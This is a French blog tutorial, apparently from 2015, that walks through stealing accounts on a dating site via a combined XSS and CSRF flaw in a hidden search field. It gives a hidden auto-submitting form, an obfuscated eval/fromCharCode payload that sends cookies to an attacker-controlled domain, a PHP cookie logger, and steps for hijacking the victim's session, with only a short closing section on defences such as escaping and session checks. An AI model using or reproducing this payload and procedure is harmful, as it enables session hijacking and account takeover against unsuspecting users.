Edit (Août 2015): Suite à une plaine posée par les propriétaires du site de rencontre incriminé, l'article a été modifié pour retirer les mentions de leur nom et domaine.

A ce jour la faille est corrigée.

Disclaimer

Je ne pourrai en aucun cas être tenu responsable de ce que vous pourriez faire de l'information qui va suivre. Cette information n'est présente qu'à titre informatif.

Prérequis

Vous aurez besoin de ceci pour mener à bien votre vol de compte.

  • Un serveur équipé de PHP ou un autre langage que vous maitrisez
  • Mozilla Firefox
  • Le module complémentaire "Edit Cookies" pour Firefox

Principe du vol de compte

L'attaque se base sur ce qu'on appelle les failles XSS. En clair, il s'agit d'injecter de l'HTML dans une page du site même afin de détourner une information. On injectera généralement du Javascript. Pour se faire, nous allons demander à la cible de visiter une page, cette page renverra automatiquement des données vers le site en incluant les données pour la faille.

Edit: Dans ce cas précis, il s'agit en fait du combinaison d'une faille XSS et CSRF.

L'injection XSS

Dans le formulaire de recherche du site, à première vue il n'y a pas possibilité d'injecter de l'HTML. Le champ pseudo est en effet protégé. Mais on peut essayer avec d'autres qui sont parfois cachés. Je ne les ai pas tous testé, mais j'ai remarqué que le champ "shape" n'était pas sécurisé.

J'ai donc créé un formulaire de recherche tout simple incluant tous les paramètres de la recherche du site. Voici ce que ça donne :

<form action="http://www.example.com/searchRes.php" method="post" id="evil">
  <input type="text" name="ageMax" value="18">
  <input type="text" name="ageMin" value="18">
  <input type="text" name="checks1" value="0">
  <input type="text" name="checks2" value="0">
  <input type="text" name="country" value="fr">
  <input type="text" name="dist" value="0">
  <input type="text" name="drink" value="0">
  <input type="text" name="eyes" value="0">
  <input type="text" name="food" value="0">
  <input type="text" name="hair_color" value="0">
  <input type="text" name="hair_size" value="0">
  <input type="text" name="origins" value="0">
  <input type="text" name="pseudo" value="">
  <input type="text" name="region" value="0">
  <input type="text" name="save" value="false">
  <input type="text" name="search" value="true">
  <input type="text" name="sex" value="1">
  <textarea name="shape">
  </textarea>
  <input type="text" name="sizeMax" value="0">
  <input type="text" name="sizeMin" value="0">
  <input type="text" name="smoke" value="0">
  <input type="text" name="style" value="0">
  <input type="text" name="subregion" value="0">
  <input type="text" name="weightMax" value="0">
  <input type="text" name="weightMin" value="0">
  <input type="submit"/>
</form>

Vous pouvez tester ce formulaire, il fonctionnera comme si vous étiez sur le site. Mais concentrons-nous sur le champ shape. Je l'ai mis en <textarea/> pour faciliter l'injection du code.

Premier essai d'injection

Inscrivez ceci dans le champ shape avant de soumettre le formulaire :

"><script>alert(document.cookie)</script>

Vous remarquerez qu'en arrivant sur la page vous aurez une alerte contenant toutes les informations des cookies. Il nous suffit donc d'envoyer cette information à un petit script PHP qui enregistrera les données pour que nous puissions y avoir accès.

Le Javascript à injecter

En gros, nous avons besoin d'envoyer l'info document.cookie à une URL, ce qui donnerait quelque chose un script comme ceci :

new Image().src = "http://votredomaine.com/sniff.php?cookie=" + escape(document.cookie)

On utilise new Image().src pour la transparence d'exécution côté utilisateur.

Le seul hic, c'est qu'on ne peut pas passer des guillemets dans le formulaire, ils sont automatiquement échappés et ça provoquera une erreur d'exécution. L'astuce est donc d'utiliser deux fonctions de Javascript : eval() et String.fromCharCode(). La première exécute la chaine passée en paramètre comme du code et la deuxième permet d'éviter les guillemets en convertissant une chaine en Integer.

Utilisons un outil en ligne pour convertir notre chaine en String.fromCharCode : XSS Convertion Tools. Sélectionnez XSS, et tapez le code ci-dessus dedans. On obtient quelque chose comme ceci :

String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,118,111,116,114,101,100,111,109,97,105,110,101,46,99,111,109,47,97,100,111,112,116,101,117,110,109,101,99,46,112,104,112,63,99,111,111,107,105,101,61,34,32,43,32,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)

La véritable requête XSS

Maintenant reprenez le formulaire et renvoyer ceci via shape :

"><script>eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,118,111,116,114,101,100,111,109,97,105,110,101,46,99,111,109,47,97,100,111,112,116,101,117,110,109,101,99,46,112,104,112,63,99,111,111,107,105,101,61,34,32,43,32,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));</script>

Vous ne voyez plus d'erreur, mais le code devrait s'exécuter. Si vous avez un doute, remplacez eval par alert.

Le code PHP

La page PHP qui récupère les cookies devraient contenir quelque chose comme ceci :

<?php
$f = fopen("cookie.txt", 'a');
fputs($f, $_GET['cookie'] . "\n");
fclose($f);
?>

Attention à mettre les permissions 777 sur le fichier cookie.txt ou sur le répertoire du fichier pour que cela fonctionne.

Peaufiner l'attaque

Convertissez le contenu de shape en HTML, et mettez-le directement dans le code dans le <textarea/>.

Idéalement, la page contenant le formulaire doit être transparente. Simple, rajoutez ceci avant la balise </html>.

<script>
document.getElementById("evil").submit();
</script>

Le formulaire sera automatiquement renvoyé.

Ensuite, vous pouvez aussi cacher le formulaire. Rajoutez simplement ceci autour du formulaire :

<div style="display:none;">
... formulaire ...
</div>

Et vous voilà avec une page totalement transparente !

Utiliser le cookie volé

Maintenant que vous avez mis votre formulaire en ligne quelque part, vous n'avez plus qu'à envoyer l'adresse à votre cible. Celle-ci sera automatiquement renvoyée sur Example.com et vous aurez une petite information intéressante dans votre fichier cookie.txt.

Le seul cookie qui nous intéresse est le PHPSESSID. Les autres sont sans importances mais doivent être absolument retirés avant d'essayer de voler le compte.

Connectez-vous sur votre compte, ensuite utilisez Edit Cookies pour retirer tous les cookies associés au domaine example.com, et modifier le cookie PHPSESSID en y mettant la valeur récupérée dans le fichier cookie.txt. Actualisez la page.

Magie ! Vous êtes sur le compte de votre victime !

Eviter les attaques XSS

Bon, c'est bien joli tout ça, mais en tant que développeur, il est aussi important de se prémunir de ce genre d'attaque. C'est très simple !

Côté formulaire

Convertissez toutes les données qui passent dans vos formulaires en HTML. Exemple :

<input type="text" value="<?php echo htmlentities($_POST['shape']); ?>">

Dans ce cas, impossible que l'HTML soit interprété puisqu'il sera converti.

Côté PHP

Lorsque vous identifiez vos utilisateurs, enregistrez l'IP depuis laquelle ils se connectent dans la Session.

<?php
if ($login) {
  $_SESSION['login'] = true;
  $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
?>

Ensuite, quand vous vérifiez si l'utilisateur est loggué, vérifiez si il a toujours la même IP. Si pas, c'est bizarre !

if ($_SESSION['ip'] != $_SERVER['REMOTE_ADDR']) {
  $_SESSION = array();
  session_destroy();
}

Il y a plein d'autres tests possibles, comme par exemple le User-Agent, ou un Hash généré sur base de différentes valeurs.

Simplement aussi, vous pouvez régénérer le PHPSESSID de temps en temps. Cf : session_regenerate_id()

Disclaimer

Si vous êtes arrivés ici, j'imagine que vous avez trouvé ça très instructif, mais que vous n'êtes pas assez fou que pour l'utiliser ! C'est bien, parce que c'est pas permis !